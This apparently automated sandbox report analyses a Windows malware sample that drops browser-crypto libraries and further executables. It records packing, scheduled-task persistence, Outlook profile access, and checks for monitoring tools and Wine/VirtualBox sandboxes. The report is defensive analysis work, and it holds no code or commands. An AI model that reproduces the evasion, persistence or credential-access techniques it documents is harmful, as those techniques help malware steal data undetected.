Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll

Source: C:\Users\user\Desktop\j7iUba2bki.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\j7iUba2bki.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: j7iUba2bki.exe

Static file information: File size 2502656 > 1048576

Source: j7iUba2bki.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x21fc00

Source:	Binary string: mozglue.pdbP source: j7iUba2bki.exe, 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: j7iUba2bki.exe, 00000000.00000002.2248691903.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: j7iUba2bki.exe, 00000000.00000002.2248691903.000000006C54F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: j7iUba2bki.exe, 00000000.00000002.2248433278.000000006C38D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Unpacked PE file: 0.2.j7iUba2bki.exe.3e0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Unpacked PE file: 7.2.FCFBGIDAEH.exe.30000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mdtpgpto:EW;kfneekep:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mdtpgpto:EW;kfneekep:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 9.2.explorti.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mdtpgpto:EW;kfneekep:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mdtpgpto:EW;kfneekep:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 10.2.explorti.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mdtpgpto:EW;kfneekep:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mdtpgpto:EW;kfneekep:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Unpacked PE file: 11.2.8550c65a2f.exe.300000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 14.2.explorti.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mdtpgpto:EW;kfneekep:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mdtpgpto:EW;kfneekep:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 15.2.explorti.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mdtpgpto:EW;kfneekep:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mdtpgpto:EW;kfneekep:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 16.2.explorti.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mdtpgpto:EW;kfneekep:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mdtpgpto:EW;kfneekep:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 17.2.explorti.exe.260000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mdtpgpto:EW;kfneekep:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mdtpgpto:EW;kfneekep:EW;.taggant:EW;

Source: C:\Users\user\Desktop\j7iUba2bki.exe

Code function: 0_2_6C37C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C37C410

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: explorti.exe.7.dr	Static PE information: real checksum: 0x1d85c3 should be: 0x1d0e39
Source: random[1].exe.9.dr	Static PE information: real checksum: 0x0 should be: 0x2704a0
Source: 8550c65a2f.exe.9.dr	Static PE information: real checksum: 0x0 should be: 0x2704a0
Source: j7iUba2bki.exe	Static PE information: real checksum: 0x0 should be: 0x2704a0
Source: amadka[1].exe.0.dr	Static PE information: real checksum: 0x1d85c3 should be: 0x1d0e39
Source: FCFBGIDAEH.exe.0.dr	Static PE information: real checksum: 0x1d85c3 should be: 0x1d0e39

Source: j7iUba2bki.exe	Static PE information: section name:
Source: j7iUba2bki.exe	Static PE information: section name:
Source: j7iUba2bki.exe	Static PE information: section name:
Source: j7iUba2bki.exe	Static PE information: section name:
Source: j7iUba2bki.exe	Static PE information: section name:
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: FCFBGIDAEH.exe.0.dr	Static PE information: section name:
Source: FCFBGIDAEH.exe.0.dr	Static PE information: section name: .idata
Source: FCFBGIDAEH.exe.0.dr	Static PE information: section name:
Source: FCFBGIDAEH.exe.0.dr	Static PE information: section name: mdtpgpto
Source: FCFBGIDAEH.exe.0.dr	Static PE information: section name: kfneekep
Source: FCFBGIDAEH.exe.0.dr	Static PE information: section name: .taggant
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: mdtpgpto
Source: amadka[1].exe.0.dr	Static PE information: section name: kfneekep
Source: amadka[1].exe.0.dr	Static PE information: section name: .taggant
Source: explorti.exe.7.dr	Static PE information: section name:
Source: explorti.exe.7.dr	Static PE information: section name: .idata
Source: explorti.exe.7.dr	Static PE information: section name:
Source: explorti.exe.7.dr	Static PE information: section name: mdtpgpto
Source: explorti.exe.7.dr	Static PE information: section name: kfneekep
Source: explorti.exe.7.dr	Static PE information: section name: .taggant
Source: random[1].exe.9.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name:
Source: random[1].exe.9.dr	Static PE information: section name:
Source: 8550c65a2f.exe.9.dr	Static PE information: section name:
Source: 8550c65a2f.exe.9.dr	Static PE information: section name:
Source: 8550c65a2f.exe.9.dr	Static PE information: section name:
Source: 8550c65a2f.exe.9.dr	Static PE information: section name:
Source: 8550c65a2f.exe.9.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Code function: 0_2_6C34B536 push ecx; ret	0_2_6C34B549
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 9_2_0027D82C push ecx; ret	9_2_0027D83F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_00777AA2 push ecx; mov dword ptr [esp], ecx	11_2_00777AEA
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C2A40 push 7F4C0002h; ret	11_2_7F4C2A4F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C2740 push 7F4C0002h; ret	11_2_7F4C274F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C1B40 push 7F4C0002h; ret	11_2_7F4C1B4F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C0C40 push 7F4C0002h; ret	11_2_7F4C0C4F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C0F40 push 7F4C0002h; ret	11_2_7F4C0F4F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C1240 push 7F4C0002h; ret	11_2_7F4C124F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C1540 push 7F4C0002h; ret	11_2_7F4C154F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C1840 push 7F4C0002h; ret	11_2_7F4C184F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C1E40 push 7F4C0002h; ret	11_2_7F4C1E4F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C2140 push 7F4C0002h; ret	11_2_7F4C214F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C2440 push 7F4C0002h; ret	11_2_7F4C244F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C2950 push 7F4C0002h; ret	11_2_7F4C295F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C1A50 push 7F4C0002h; ret	11_2_7F4C1A5F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C0E50 push 7F4C0002h; ret	11_2_7F4C0E5F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C1150 push 7F4C0002h; ret	11_2_7F4C115F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C1450 push 7F4C0002h; ret	11_2_7F4C145F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C1750 push 7F4C0002h; ret	11_2_7F4C175F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C1D50 push 7F4C0002h; ret	11_2_7F4C1D5F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C2050 push 7F4C0002h; ret	11_2_7F4C205F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C2350 push 7F4C0002h; ret	11_2_7F4C235F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C2650 push 7F4C0002h; ret	11_2_7F4C265F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C2B60 push 7F4C0002h; ret	11_2_7F4C2B6F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C2860 push 7F4C0002h; ret	11_2_7F4C286F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C1C60 push 7F4C0002h; ret	11_2_7F4C1C6F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C1960 push 7F4C0002h; ret	11_2_7F4C196F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C0D60 push 7F4C0002h; ret	11_2_7F4C0D6F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C1060 push 7F4C0002h; ret	11_2_7F4C106F
Source: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Code function: 11_2_7F4C1360 push 7F4C0002h; ret	11_2_7F4C136F

Source: j7iUba2bki.exe	Static PE information: section name: entropy: 7.995383032765701
Source: j7iUba2bki.exe	Static PE information: section name: entropy: 7.978281909910607
Source: j7iUba2bki.exe	Static PE information: section name: entropy: 7.953438671487356
Source: FCFBGIDAEH.exe.0.dr	Static PE information: section name: entropy: 7.985716023017296
Source: FCFBGIDAEH.exe.0.dr	Static PE information: section name: mdtpgpto entropy: 7.953671364164362
Source: amadka[1].exe.0.dr	Static PE information: section name: entropy: 7.985716023017296
Source: amadka[1].exe.0.dr	Static PE information: section name: mdtpgpto entropy: 7.953671364164362
Source: explorti.exe.7.dr	Static PE information: section name: entropy: 7.985716023017296
Source: explorti.exe.7.dr	Static PE information: section name: mdtpgpto entropy: 7.953671364164362
Source: random[1].exe.9.dr	Static PE information: section name: entropy: 7.995383032765701
Source: random[1].exe.9.dr	Static PE information: section name: entropy: 7.978281909910607
Source: random[1].exe.9.dr	Static PE information: section name: entropy: 7.953438671487356
Source: 8550c65a2f.exe.9.dr	Static PE information: section name: entropy: 7.995383032765701
Source: 8550c65a2f.exe.9.dr	Static PE information: section name: entropy: 7.978281909910607
Source: 8550c65a2f.exe.9.dr	Static PE information: section name: entropy: 7.953438671487356

Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File created: C:\Users\user\AppData\Local\Temp\1000006001\8550c65a2f.exe	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\j7iUba2bki.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\j7iUba2bki.exe

Code function: 0_2_6C3755F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C3755F0

Source: C:\Users\user\Desktop\j7iUba2bki.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FCFBGIDAEH.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
